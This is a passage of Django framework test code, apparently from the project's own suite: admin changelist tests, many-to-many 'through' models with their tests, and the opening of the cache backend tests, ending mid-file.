        for i in range(10):
            Child.objects.create(name='child %s' % i, parent=parent)

        user_noparents = self._create_superuser('noparents')
        user_parents = self._create_superuser('parents')

        # Test with user 'noparents'
        m = DynamicListFilterChildAdmin(Child, custom_site)
        request = self._mocked_authenticated_request('/child/', user_noparents)
        response = m.changelist_view(request)
        self.assertEqual(response.context_data['cl'].list_filter, ['name', 'age'])

        # Test with user 'parents'
        m = DynamicListFilterChildAdmin(Child, custom_site)
        request = self._mocked_authenticated_request('/child/', user_parents)
        response = m.changelist_view(request)
        self.assertEqual(response.context_data['cl'].list_filter, ('parent', 'name', 'age'))

    def test_dynamic_search_fields(self):
        child = self._create_superuser('child')
        m = DynamicSearchFieldsChildAdmin(Child, custom_site)
        request = self._mocked_authenticated_request('/child/', child)
        response = m.changelist_view(request)
        self.assertEqual(response.context_data['cl'].search_fields, ('name', 'age'))

    def test_pagination_page_range(self):
        """
        Regression tests for ticket #15653: ensure the number of pages
        generated for changelist views are correct.
        """
        # instantiating and setting up ChangeList object
        m = GroupAdmin(Group, custom_site)
        request = self.factory.get('/group/')
        cl = ChangeList(request, Group, *get_changelist_args(m))
        per_page = cl.list_per_page = 10

        for page_num, objects_count, expected_page_range in [
            (0, per_page, []),
            (0, per_page * 2, list(range(2))),
            (5, per_page * 11, list(range(11))),
            (5, per_page * 12, [0, 1, 2, 3, 4, 5, 6, 7, 8, '.', 10, 11]),
            (6, per_page * 12, [0, 1, '.', 3, 4, 5, 6, 7, 8, 9, 10, 11]),
            (6, per_page * 13, [0, 1, '.', 3, 4, 5, 6, 7, 8, 9, '.', 11, 12]),
        ]:
            # assuming we have exactly `objects_count` objects
            Group.objects.all().delete()
            for i in range(objects_count):
                Group.objects.create(name='test band')

            # setting page number and calculating page range
            cl.page_num = page_num
            cl.get_results(request)
            real_page_range = pagination(cl)['page_range']

            self.assertListEqual(
                expected_page_range,
                list(real_page_range),
            )

    def test_object_tools_displayed_no_add_permission(self):
        """
        When ModelAdmin.has_add_permission() returns False, the object-tools
        block is still shown.
        """
        superuser = self._create_superuser('superuser')
        m = EventAdmin(Event, custom_site)
        request = self._mocked_authenticated_request('/event/', superuser)
        self.assertFalse(m.has_add_permission(request))
        response = m.changelist_view(request)
        self.assertIn('<ul class="object-tools">', response.rendered_content)
        # The "Add" button inside the object-tools shouldn't appear.
        self.assertNotIn('Add ', response.rendered_content)


class AdminLogNodeTestCase(TestCase):

    def test_get_admin_log_templatetag_custom_user(self):
        """
        Regression test for ticket #20088: admin log depends on User model
        having id field as primary key.

        The old implementation raised an AttributeError when trying to use
        the id field.
        """
        context = Context({'user': CustomIdUser()})
        template_string = '{% load log %}{% get_admin_log 10 as admin_log for_user user %}'

        template = Template(template_string)

        # Rendering should be u'' since this templatetag just logs,
        # it doesn't render any string.
        self.assertEqual(template.render(context), '')

    def test_get_admin_log_templatetag_no_user(self):
        """
        The {% get_admin_log %} tag should work without specifying a user.
        """
        user = User(username='jondoe', password='secret', email='super@example.com')
        user.save()
        ct = ContentType.objects.get_for_model(User)
        LogEntry.objects.log_action(user.pk, ct.pk, user.pk, repr(user), 1)

        t = Template(
            '{% load log %}'
            '{% get_admin_log 100 as admin_log %}'
            '{% for entry in admin_log %}'
            '{{ entry|safe }}'
            '{% endfor %}'
        )
        self.assertEqual(t.render(Context({})), 'Added "<User: jondoe>".')


@override_settings(ROOT_URLCONF='admin_changelist.urls')
class SeleniumTests(AdminSeleniumTestCase):

    available_apps = ['admin_changelist'] + AdminSeleniumTestCase.available_apps

    def setUp(self):
        User.objects.create_superuser(username='super', password='secret', email=None)

    def test_add_row_selection(self):
        """
        Ensure that the status line for selected rows gets updated correctly (#22038)
        """
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:auth_user_changelist'))

        form_id = '#changelist-form'

        # Test amount of rows in the Changelist
        rows = self.selenium.find_elements_by_css_selector(
            '%s #result_list tbody tr' % form_id)
        self.assertEqual(len(rows), 1)

        # Test current selection
        selection_indicator = self.selenium.find_element_by_css_selector(
            '%s .action-counter' % form_id)
        self.assertEqual(selection_indicator.text, "0 of 1 selected")

        # Select a row and check again
        row_selector = self.selenium.find_element_by_css_selector(
            '%s #result_list tbody tr:first-child .action-select' % form_id)
        row_selector.click()
        self.assertEqual(selection_indicator.text, "1 of 1 selected")






from datetime import datetime

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# M2M described on one of the models
@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=128)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Group(models.Model):
    name = models.CharField(max_length=128)
    members = models.ManyToManyField(Person, through='Membership')
    custom_members = models.ManyToManyField(Person, through='CustomMembership', related_name="custom")
    nodefaultsnonulls = models.ManyToManyField(
        Person,
        through='TestNoDefaultsOrNulls',
        related_name="testnodefaultsnonulls",
    )

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Membership(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)
    group = models.ForeignKey(Group, models.CASCADE)
    date_joined = models.DateTimeField(default=datetime.now)
    invite_reason = models.CharField(max_length=64, null=True)

    class Meta:
        ordering = ('date_joined', 'invite_reason', 'group')

    def __str__(self):
        return "%s is a member of %s" % (self.person.name, self.group.name)


@python_2_unicode_compatible
class CustomMembership(models.Model):
    person = models.ForeignKey(
        Person,
        models.CASCADE,
        db_column="custom_person_column",
        related_name="custom_person_related_name",
    )
    group = models.ForeignKey(Group, models.CASCADE)
    weird_fk = models.ForeignKey(Membership, models.SET_NULL, null=True)
    date_joined = models.DateTimeField(default=datetime.now)

    def __str__(self):
        return "%s is a member of %s" % (self.person.name, self.group.name)

    class Meta:
        db_table = "test_table"
        ordering = ["date_joined"]


class TestNoDefaultsOrNulls(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)
    group = models.ForeignKey(Group, models.CASCADE)
    nodefaultnonull = models.CharField(max_length=5)


@python_2_unicode_compatible
class PersonSelfRefM2M(models.Model):
    name = models.CharField(max_length=5)
    friends = models.ManyToManyField('self', through="Friendship", symmetrical=False)

    def __str__(self):
        return self.name


class Friendship(models.Model):
    first = models.ForeignKey(PersonSelfRefM2M, models.CASCADE, related_name="rel_from_set")
    second = models.ForeignKey(PersonSelfRefM2M, models.CASCADE, related_name="rel_to_set")
    date_friended = models.DateTimeField()


# Custom through link fields
@python_2_unicode_compatible
class Event(models.Model):
    title = models.CharField(max_length=50)
    invitees = models.ManyToManyField(
        Person, through='Invitation',
        through_fields=('event', 'invitee'),
        related_name='events_invited',
    )

    def __str__(self):
        return self.title


class Invitation(models.Model):
    event = models.ForeignKey(Event, models.CASCADE, related_name='invitations')
    # field order is deliberately inverted. the target field is "invitee".
    inviter = models.ForeignKey(Person, models.CASCADE, related_name='invitations_sent')
    invitee = models.ForeignKey(Person, models.CASCADE, related_name='invitations')


@python_2_unicode_compatible
class Employee(models.Model):
    name = models.CharField(max_length=5)
    subordinates = models.ManyToManyField(
        'self',
        through="Relationship",
        through_fields=('source', 'target'),
        symmetrical=False,
    )

    class Meta:
        ordering = ('pk',)

    def __str__(self):
        return self.name


class Relationship(models.Model):
    # field order is deliberately inverted.
    another = models.ForeignKey(Employee, models.SET_NULL, related_name="rel_another_set", null=True)
    target = models.ForeignKey(Employee, models.CASCADE, related_name="rel_target_set")
    source = models.ForeignKey(Employee, models.CASCADE, related_name="rel_source_set")


class Ingredient(models.Model):
    iname = models.CharField(max_length=20, unique=True)

    class Meta:
        ordering = ('iname',)


class Recipe(models.Model):
    rname = models.CharField(max_length=20, unique=True)
    ingredients = models.ManyToManyField(
        Ingredient, through='RecipeIngredient', related_name='recipes',
    )

    class Meta:
        ordering = ('rname',)


class RecipeIngredient(models.Model):
    ingredient = models.ForeignKey(Ingredient, models.CASCADE, to_field='iname')
    recipe = models.ForeignKey(Recipe, models.CASCADE, to_field='rname')












from __future__ import unicode_literals

from datetime import datetime
from operator import attrgetter

from django.test import TestCase, skipUnlessDBFeature

from .models import (
    CustomMembership, Employee, Event, Friendship, Group, Ingredient,
    Invitation, Membership, Person, PersonSelfRefM2M, Recipe, RecipeIngredient,
    Relationship,
)


class M2mThroughTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.bob = Person.objects.create(name='Bob')
        cls.jim = Person.objects.create(name='Jim')
        cls.jane = Person.objects.create(name='Jane')
        cls.rock = Group.objects.create(name='Rock')
        cls.roll = Group.objects.create(name='Roll')

    def test_retrieve_intermediate_items(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jane, group=self.rock)

        expected = ['Jane', 'Jim']
        self.assertQuerysetEqual(
            self.rock.members.all(),
            expected,
            attrgetter("name")
        )

    def test_get_on_intermediate_model(self):
        Membership.objects.create(person=self.jane, group=self.rock)

        queryset = Membership.objects.get(person=self.jane, group=self.rock)

        self.assertEqual(
            repr(queryset),
            '<Membership: Jane is a member of Rock>'
        )

    def test_filter_on_intermediate_model(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jane, group=self.rock)

        queryset = Membership.objects.filter(group=self.rock)

        expected = [
            '<Membership: Jim is a member of Rock>',
            '<Membership: Jane is a member of Rock>',
        ]

        self.assertQuerysetEqual(
            queryset,
            expected
        )

    def test_cannot_use_add_on_m2m_with_intermediary_model(self):
        msg = 'Cannot use add() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.rock.members.add(self.bob)

        self.assertQuerysetEqual(
            self.rock.members.all(),
            []
        )

    def test_cannot_use_create_on_m2m_with_intermediary_model(self):
        msg = 'Cannot use create() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.rock.members.create(name='Annie')

        self.assertQuerysetEqual(
            self.rock.members.all(),
            []
        )

    def test_cannot_use_remove_on_m2m_with_intermediary_model(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        msg = 'Cannot use remove() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.rock.members.remove(self.jim)

        self.assertQuerysetEqual(
            self.rock.members.all(),
            ['Jim', ],
            attrgetter("name")
        )

    def test_cannot_use_setattr_on_m2m_with_intermediary_model(self):
        msg = 'Cannot set values on a ManyToManyField which specifies an intermediary model'
        members = list(Person.objects.filter(name__in=['Bob', 'Jim']))

        with self.assertRaisesMessage(AttributeError, msg):
            self.rock.members.set(members)

        self.assertQuerysetEqual(
            self.rock.members.all(),
            []
        )

    def test_clear_removes_all_the_m2m_relationships(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jane, group=self.rock)

        self.rock.members.clear()

        self.assertQuerysetEqual(
            self.rock.members.all(),
            []
        )

    def test_retrieve_reverse_intermediate_items(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jim, group=self.roll)

        expected = ['Rock', 'Roll']
        self.assertQuerysetEqual(
            self.jim.group_set.all(),
            expected,
            attrgetter("name")
        )

    def test_cannot_use_add_on_reverse_m2m_with_intermediary_model(self):
        msg = 'Cannot use add() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.bob.group_set.add(self.bob)

        self.assertQuerysetEqual(
            self.bob.group_set.all(),
            []
        )

    def test_cannot_use_create_on_reverse_m2m_with_intermediary_model(self):
        msg = 'Cannot use create() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.bob.group_set.create(name='Funk')

        self.assertQuerysetEqual(
            self.bob.group_set.all(),
            []
        )

    def test_cannot_use_remove_on_reverse_m2m_with_intermediary_model(self):
        Membership.objects.create(person=self.bob, group=self.rock)
        msg = 'Cannot use remove() on a ManyToManyField which specifies an intermediary model'

        with self.assertRaisesMessage(AttributeError, msg):
            self.bob.group_set.remove(self.rock)

        self.assertQuerysetEqual(
            self.bob.group_set.all(),
            ['Rock', ],
            attrgetter('name')
        )

    def test_cannot_use_setattr_on_reverse_m2m_with_intermediary_model(self):
        msg = 'Cannot set values on a ManyToManyField which specifies an intermediary model'
        members = list(Group.objects.filter(name__in=['Rock', 'Roll']))

        with self.assertRaisesMessage(AttributeError, msg):
            self.bob.group_set.set(members)

        self.assertQuerysetEqual(
            self.bob.group_set.all(),
            []
        )

    def test_clear_on_reverse_removes_all_the_m2m_relationships(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jim, group=self.roll)

        self.jim.group_set.clear()

        self.assertQuerysetEqual(
            self.jim.group_set.all(),
            []
        )

    def test_query_model_by_attribute_name_of_related_model(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jane, group=self.rock)
        Membership.objects.create(person=self.bob, group=self.roll)
        Membership.objects.create(person=self.jim, group=self.roll)
        Membership.objects.create(person=self.jane, group=self.roll)

        self.assertQuerysetEqual(
            Group.objects.filter(members__name='Bob'),
            ['Roll', ],
            attrgetter("name")
        )

    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_order_by_relational_field_through_model(self):
        CustomMembership.objects.create(person=self.jim, group=self.rock)
        CustomMembership.objects.create(person=self.bob, group=self.rock)
        CustomMembership.objects.create(person=self.jane, group=self.roll)
        CustomMembership.objects.create(person=self.jim, group=self.roll)
        self.assertQuerysetEqual(
            self.rock.custom_members.order_by('custom_person_related_name'),
            [self.jim, self.bob], lambda x: x
        )
        self.assertQuerysetEqual(
            self.roll.custom_members.order_by('custom_person_related_name'),
            [self.jane, self.jim], lambda x: x
        )

    def test_query_first_model_by_intermediate_model_attribute(self):
        Membership.objects.create(
            person=self.jane, group=self.roll,
            invite_reason="She was just awesome."
        )
        Membership.objects.create(
            person=self.jim, group=self.roll,
            invite_reason="He is good."
        )
        Membership.objects.create(person=self.bob, group=self.roll)

        qs = Group.objects.filter(
            membership__invite_reason="She was just awesome."
        )
        self.assertQuerysetEqual(
            qs,
            ['Roll'],
            attrgetter("name")
        )

    def test_query_second_model_by_intermediate_model_attribute(self):
        Membership.objects.create(
            person=self.jane, group=self.roll,
            invite_reason="She was just awesome."
        )
        Membership.objects.create(
            person=self.jim, group=self.roll,
            invite_reason="He is good."
        )
        Membership.objects.create(person=self.bob, group=self.roll)

        qs = Person.objects.filter(
            membership__invite_reason="She was just awesome."
        )
        self.assertQuerysetEqual(
            qs,
            ['Jane'],
            attrgetter("name")
        )

    def test_query_model_by_related_model_name(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(person=self.jane, group=self.rock)
        Membership.objects.create(person=self.bob, group=self.roll)
        Membership.objects.create(person=self.jim, group=self.roll)
        Membership.objects.create(person=self.jane, group=self.roll)

        self.assertQuerysetEqual(
            Person.objects.filter(group__name="Rock"),
            ['Jane', 'Jim'],
            attrgetter("name")
        )

    def test_query_model_by_custom_related_name(self):
        CustomMembership.objects.create(person=self.bob, group=self.rock)
        CustomMembership.objects.create(person=self.jim, group=self.rock)

        self.assertQuerysetEqual(
            Person.objects.filter(custom__name="Rock"),
            ['Bob', 'Jim'],
            attrgetter("name")
        )

    def test_query_model_by_intermediate_can_return_non_unique_queryset(self):
        Membership.objects.create(person=self.jim, group=self.rock)
        Membership.objects.create(
            person=self.jane, group=self.rock,
            date_joined=datetime(2006, 1, 1)
        )
        Membership.objects.create(
            person=self.bob, group=self.roll,
            date_joined=datetime(2004, 1, 1))
        Membership.objects.create(person=self.jim, group=self.roll)
        Membership.objects.create(
            person=self.jane, group=self.roll,
            date_joined=datetime(2004, 1, 1))

        qs = Person.objects.filter(
            membership__date_joined__gt=datetime(2004, 1, 1)
        )
        self.assertQuerysetEqual(
            qs,
            ['Jane', 'Jim', 'Jim'],
            attrgetter("name")
        )

    def test_custom_related_name_forward_empty_qs(self):
        self.assertQuerysetEqual(
            self.rock.custom_members.all(),
            []
        )

    def test_custom_related_name_reverse_empty_qs(self):
        self.assertQuerysetEqual(
            self.bob.custom.all(),
            []
        )

    def test_custom_related_name_forward_non_empty_qs(self):
        CustomMembership.objects.create(person=self.bob, group=self.rock)
        CustomMembership.objects.create(person=self.jim, group=self.rock)

        self.assertQuerysetEqual(
            self.rock.custom_members.all(),
            ['Bob', 'Jim'],
            attrgetter("name")
        )

    def test_custom_related_name_reverse_non_empty_qs(self):
        CustomMembership.objects.create(person=self.bob, group=self.rock)
        CustomMembership.objects.create(person=self.jim, group=self.rock)

        self.assertQuerysetEqual(
            self.bob.custom.all(),
            ['Rock'],
            attrgetter("name")
        )

    def test_custom_related_name_doesnt_conflict_with_fky_related_name(self):
        CustomMembership.objects.create(person=self.bob, group=self.rock)

        self.assertQuerysetEqual(
            self.bob.custom_person_related_name.all(),
            ['<CustomMembership: Bob is a member of Rock>']
        )

    def test_through_fields(self):
        """
        Tests that relations with intermediary tables with multiple FKs
        to the M2M's ``to`` model are possible.
        """
        event = Event.objects.create(title='Rockwhale 2014')
        Invitation.objects.create(event=event, inviter=self.bob, invitee=self.jim)
        Invitation.objects.create(event=event, inviter=self.bob, invitee=self.jane)
        self.assertQuerysetEqual(
            event.invitees.all(),
            ['Jane', 'Jim'],
            attrgetter('name')
        )


class M2mThroughReferentialTests(TestCase):
    def test_self_referential_empty_qs(self):
        tony = PersonSelfRefM2M.objects.create(name="Tony")
        self.assertQuerysetEqual(
            tony.friends.all(),
            []
        )

    def test_self_referential_non_symmetrical_first_side(self):
        tony = PersonSelfRefM2M.objects.create(name="Tony")
        chris = PersonSelfRefM2M.objects.create(name="Chris")
        Friendship.objects.create(
            first=tony, second=chris, date_friended=datetime.now()
        )

        self.assertQuerysetEqual(
            tony.friends.all(),
            ['Chris'],
            attrgetter("name")
        )

    def test_self_referential_non_symmetrical_second_side(self):
        tony = PersonSelfRefM2M.objects.create(name="Tony")
        chris = PersonSelfRefM2M.objects.create(name="Chris")
        Friendship.objects.create(
            first=tony, second=chris, date_friended=datetime.now()
        )

        self.assertQuerysetEqual(
            chris.friends.all(),
            []
        )

    def test_self_referential_non_symmetrical_clear_first_side(self):
        tony = PersonSelfRefM2M.objects.create(name="Tony")
        chris = PersonSelfRefM2M.objects.create(name="Chris")
        Friendship.objects.create(
            first=tony, second=chris, date_friended=datetime.now()
        )

        chris.friends.clear()

        self.assertQuerysetEqual(
            chris.friends.all(),
            []
        )

        # Since this isn't a symmetrical relation, Tony's friend link still exists.
        self.assertQuerysetEqual(
            tony.friends.all(),
            ['Chris'],
            attrgetter("name")
        )

    def test_self_referential_symmetrical(self):
        tony = PersonSelfRefM2M.objects.create(name="Tony")
        chris = PersonSelfRefM2M.objects.create(name="Chris")
        Friendship.objects.create(
            first=tony, second=chris, date_friended=datetime.now()
        )
        Friendship.objects.create(
            first=chris, second=tony, date_friended=datetime.now()
        )

        self.assertQuerysetEqual(
            tony.friends.all(),
            ['Chris'],
            attrgetter("name")
        )

        self.assertQuerysetEqual(
            chris.friends.all(),
            ['Tony'],
            attrgetter("name")
        )

    def test_through_fields_self_referential(self):
        john = Employee.objects.create(name='john')
        peter = Employee.objects.create(name='peter')
        mary = Employee.objects.create(name='mary')
        harry = Employee.objects.create(name='harry')

        Relationship.objects.create(source=john, target=peter, another=None)
        Relationship.objects.create(source=john, target=mary, another=None)
        Relationship.objects.create(source=john, target=harry, another=peter)

        self.assertQuerysetEqual(
            john.subordinates.all(),
            ['peter', 'mary', 'harry'],
            attrgetter('name')
        )


class M2mThroughToFieldsTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.pea = Ingredient.objects.create(iname='pea')
        cls.potato = Ingredient.objects.create(iname='potato')
        cls.tomato = Ingredient.objects.create(iname='tomato')
        cls.curry = Recipe.objects.create(rname='curry')
        RecipeIngredient.objects.create(recipe=cls.curry, ingredient=cls.potato)
        RecipeIngredient.objects.create(recipe=cls.curry, ingredient=cls.pea)
        RecipeIngredient.objects.create(recipe=cls.curry, ingredient=cls.tomato)

    def test_retrieval(self):
        # Forward retrieval
        self.assertQuerysetEqual(
            self.curry.ingredients.all(),
            [self.pea, self.potato, self.tomato], lambda x: x
        )
        # Backward retrieval
        self.assertEqual(self.tomato.recipes.get(), self.curry)

    def test_choices(self):
        field = Recipe._meta.get_field('ingredients')
        self.assertEqual(
            [choice[0] for choice in field.get_choices(include_blank=False)],
            ['pea', 'potato', 'tomato']
        )






from django.db import models
from django.utils import timezone


def expensive_calculation():
    expensive_calculation.num_runs += 1
    return timezone.now()


class Poll(models.Model):
    question = models.CharField(max_length=200)
    answer = models.CharField(max_length=200)
    pub_date = models.DateTimeField('date published', default=expensive_calculation)






from django.core.cache.backends.locmem import LocMemCache


class CloseHookMixin(object):
    closed = False

    def close(self, **kwargs):
        self.closed = True


class CacheClass(CloseHookMixin, LocMemCache):
    pass












# -*- coding: utf-8 -*-

# Unit tests for cache framework
# Uses whatever cache backend is set in the test settings file.
from __future__ import unicode_literals

import copy
import io
import os
import re
import shutil
import tempfile
import threading
import time
import unittest
import warnings

from django.conf import settings
from django.core import management, signals
from django.core.cache import (
    DEFAULT_CACHE_ALIAS, CacheKeyWarning, cache, caches,
)
from django.core.cache.utils import make_template_fragment_key
from django.db import connection, connections
from django.http import HttpRequest, HttpResponse, StreamingHttpResponse
from django.middleware.cache import (
    CacheMiddleware, FetchFromCacheMiddleware, UpdateCacheMiddleware,
)
from django.middleware.csrf import CsrfViewMiddleware
from django.template import engines
from django.template.context_processors import csrf
from django.template.response import TemplateResponse
from django.test import (
    RequestFactory, SimpleTestCase, TestCase, TransactionTestCase, mock,
    override_settings,
)
from django.test.signals import setting_changed
from django.utils import six, timezone, translation
from django.utils.cache import (
    get_cache_key, learn_cache_key, patch_cache_control,
    patch_response_headers, patch_vary_headers,
)
from django.utils.encoding import force_text
from django.views.decorators.cache import cache_page

from .models import Poll, expensive_calculation

try:    # Use the same idiom as in cache backends
    from django.utils.six.moves import cPickle as pickle
except ImportError:
    import pickle


# functions/classes for complex data type tests
def f():
    return 42


class C:
    def m(n):
        return 24


class Unpicklable(object):
    def __getstate__(self):
        raise pickle.PickleError()


class UnpicklableType(object):
    # Unpicklable using the default pickling protocol on Python 2.
    __slots__ = 'a',


@override_settings(CACHES={
    'default': {
        'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
    }
})
class DummyCacheTests(SimpleTestCase):
    # The Dummy cache backend doesn't really behave like a test backend,
    # so it has its own test case.

    def test_simple(self):
        "Dummy cache backend ignores cache set calls"
        cache.set("key", "value")
        self.assertIsNone(cache.get("key"))

    def test_add(self):
        "Add doesn't do anything in dummy cache backend"
        cache.add("addkey1", "value")
        result = cache.add("addkey1", "newvalue")
        self.assertTrue(result)
        self.assertIsNone(cache.get("addkey1"))

    def test_non_existent(self):
        "Non-existent keys aren't found in the dummy cache backend"
        self.assertIsNone(cache.get("does_not_exist"))
        self.assertEqual(cache.get("does_not_exist", "bang!"), "bang!")

    def test_get_many(self):
        "get_many returns nothing for the dummy cache backend"
        cache.set('a', 'a')
        cache.set('b', 'b')
        cache.set('c', 'c')
        cache.set('d', 'd')
        self.assertEqual(cache.get_many(['a', 'c', 'd']), {})
        self.assertEqual(cache.get_many(['a', 'b', 'e']), {})

    def test_delete(self):
        "Cache deletion is transparently ignored on the dummy cache backend"
        cache.set("key1", "spam")
        cache.set("key2", "eggs")
        self.assertIsNone(cache.get("key1"))
        cache.delete("key1")
        self.assertIsNone(cache.get("key1"))
        self.assertIsNone(cache.get("key2"))

    def test_has_key(self):
        "The has_key method doesn't ever return True for the dummy cache backend"
        cache.set("hello1", "goodbye1")
        self.assertFalse(cache.has_key("hello1"))
        self.assertFalse(cache.has_key("goodbye1"))

    def test_in(self):
        "The in operator doesn't ever return True for the dummy cache backend"
        cache.set("hello2", "goodbye2")
        self.assertNotIn("hello2", cache)
        self.assertNotIn("goodbye2", cache)

    def test_incr(self):
        "Dummy cache values can't be incremented"
        cache.set('answer', 42)
        with self.assertRaises(ValueError):
            cache.incr('answer')
        with self.assertRaises(ValueError):
            cache.incr('does_not_exist')

    def test_decr(self):
        "Dummy cache values can't be decremented"
        cache.set('answer', 42)
        with self.assertRaises(ValueError):
            cache.decr('answer')
        with self.assertRaises(ValueError):
            cache.decr('does_not_exist')

    def test_data_types(self):
        "All data types are ignored equally by the dummy cache"
        stuff = {
            'string': 'this is a string',
            'int': 42,
            'list': [1, 2, 3, 4],
            'tuple': (1, 2, 3, 4),
            'dict': {'A': 1, 'B': 2},
            'function': f,
            'class': C,
        }
        cache.set("stuff", stuff)
        self.assertIsNone(cache.get("stuff"))

    def test_expiration(self):
        "Expiration has no effect on the dummy cache"
        cache.set('expire1', 'very quickly', 1)
        cache.set('expire2', 'very quickly', 1)
        cache.set('expire3', 'very quickly', 1)

        time.sleep(2)
        self.assertIsNone(cache.get("expire1"))

        cache.add("expire2", "newvalue")
        self.assertIsNone(cache.get("expire2"))
        self.assertFalse(cache.has_key("expire3"))

    def test_unicode(self):
        "Unicode values are ignored by the dummy cache"
        stuff = {
            'ascii': 'ascii_value',
            'unicode_ascii': 'Iñtërnâtiônàlizætiøn1',
            'Iñtërnâtiônàlizætiøn': 'Iñtërnâtiônàlizætiøn2',
            'ascii2': {'x': 1}
        }
        for (key, value) in stuff.items():
            cache.set(key, value)
            self.assertIsNone(cache.get(key))

    def test_set_many(self):
        "set_many does nothing for the dummy cache backend"
        cache.set_many({'a': 1, 'b': 2})
        cache.set_many({'a': 1, 'b': 2}, timeout=2, version='1')

    def test_delete_many(self):
        "delete_many does nothing for the dummy cache backend"
        cache.delete_many(['a', 'b'])

    def test_clear(self):
        "clear does nothing for the dummy cache backend"
        cache.clear()

    def test_incr_version(self):
        "Dummy cache versions can't be incremented"
        cache.set('answer', 42)
        with self.assertRaises(ValueError):
            cache.incr_version('answer')
        with self.assertRaises(ValueError):
            cache.incr_version('does_not_exist')

    def test_decr_version(self):
        "Dummy cache versions can't be decremented"
        cache.set('answer', 42)
        with self.assertRaises(ValueError):
            cache.decr_version('answer')
        with self.assertRaises(ValueError):
            cache.decr_version('does_not_exist')

    def test_get_or_set(self):
        self.assertEqual(cache.get_or_set('mykey', 'default'), 'default')
        self.assertEqual(cache.get_or_set('mykey', None), None)

    def test_get_or_set_callable(self):
        def my_callable():
            return 'default'

        self.assertEqual(cache.get_or_set('mykey', my_callable), 'default')
        self.assertEqual(cache.get_or_set('mykey', my_callable()), 'default')


def custom_key_func(key, key_prefix, version):
    "A customized cache key function"
    return 'CUSTOM-' + '-'.join([key_prefix, str(version), key])


_caches_setting_base = {
    'default': {},
    'prefix': {'KEY_PREFIX': 'cacheprefix{}'.format(os.getpid())},
    'v2': {'VERSION': 2},
    'custom_key': {'KEY_FUNCTION': custom_key_func},
    'custom_key2': {'KEY_FUNCTION': 'cache.tests.custom_key_func'},
    'cull': {'OPTIONS': {'MAX_ENTRIES': 30}},
    'zero_cull': {'OPTIONS': {'CULL_FREQUENCY': 0, 'MAX_ENTRIES': 30}},
}


def caches_setting_for_tests(base=None, **params):
    # `base` is used to pull in the memcached config from the original settings,
    # `params` are test specific overrides and `_caches_settings_base` is the
    # base config for the tests.
    # This results in the following search order:
    # params -> _caches_setting_base -> base
    base = base or {}
    setting = {k: base.copy() for k in _caches_setting_base.keys()}
    for key, cache_params in setting.items():
        cache_params.update(_caches_setting_base[key])
        cache_params.update(params)
    return setting


class BaseCacheTests(object):
    # A common set of tests to apply to all cache backends

    def setUp(self):
        self.factory = RequestFactory()

    def tearDown(self):
        cache.clear()

    def test_simple(self):
        # Simple cache set/get works
        cache.set("key", "value")
        self.assertEqual(cache.get("key"), "value")

    def test_add(self):
        # A key can be added to a cache
        cache.add("addkey1", "value")
        result = cache.add("addkey1", "newvalue")
        self.assertFalse(result)
        self.assertEqual(cache.get("addkey1"), "value")

    def test_prefix(self):
        # Test for same cache key conflicts between shared backend
        cache.set('somekey', 'value')

        # should not be set in the prefixed cache
        self.assertFalse(caches['prefix'].has_key('somekey'))

        caches['prefix'].set('somekey', 'value2')

        self.assertEqual(cache.get('somekey'), 'value')
        self.assertEqual(caches['prefix'].get('somekey'), 'value2')

    def test_non_existent(self):
        # Non-existent cache keys return as None/default
        # get with non-existent keys
        self.assertIsNone(cache.get("does_not_exist"))
        self.assertEqual(cache.get("does_not_exist", "bang!"), "bang!")

    def test_get_many(self):
        # Multiple cache keys can be returned using get_many
        cache.set('a', 'a')
        cache.set('b', 'b')
        cache.set('c', 'c')
        cache.set('d', 'd')
        self.assertDictEqual(cache.get_many(['a', 'c', 'd']), {'a': 'a', 'c': 'c', 'd': 'd'})
        self.assertDictEqual(cache.get_many(['a', 'b', 'e']), {'a': 'a', 'b': 'b'})

    def test_delete(self):
        # Cache keys can be deleted
        cache.set("key1", "spam")
        cache.set("key2", "eggs")
        self.assertEqual(cache.get("key1"), "spam")
        cache.delete("key1")
        self.assertIsNone(cache.get("key1"))
        self.assertEqual(cache.get("key2"), "eggs")

    def test_has_key(self):
        # The cache can be inspected for cache keys
        cache.set("hello1", "goodbye1")
        self.assertTrue(cache.has_key("hello1"))
        self.assertFalse(cache.has_key("goodbye1"))
        cache.set("no_expiry", "here", None)
        self.assertTrue(cache.has_key("no_expiry"))

    def test_in(self):
        # The in operator can be used to inspect cache contents
        cache.set("hello2", "goodbye2")
        self.assertIn("hello2", cache)
        self.assertNotIn("goodbye2", cache)

    def test_incr(self):
        # Cache values can be incremented
        cache.set('answer', 41)
        self.assertEqual(cache.incr('answer'), 42)
        self.assertEqual(cache.get('answer'), 42)
        self.assertEqual(cache.incr('answer', 10), 52)
        self.assertEqual(cache.get('answer'), 52)
        self.assertEqual(cache.incr('answer', -10), 42)
        with self.assertRaises(ValueError):
            cache.incr('does_not_exist')

    def test_decr(self):
        # Cache values can be decremented
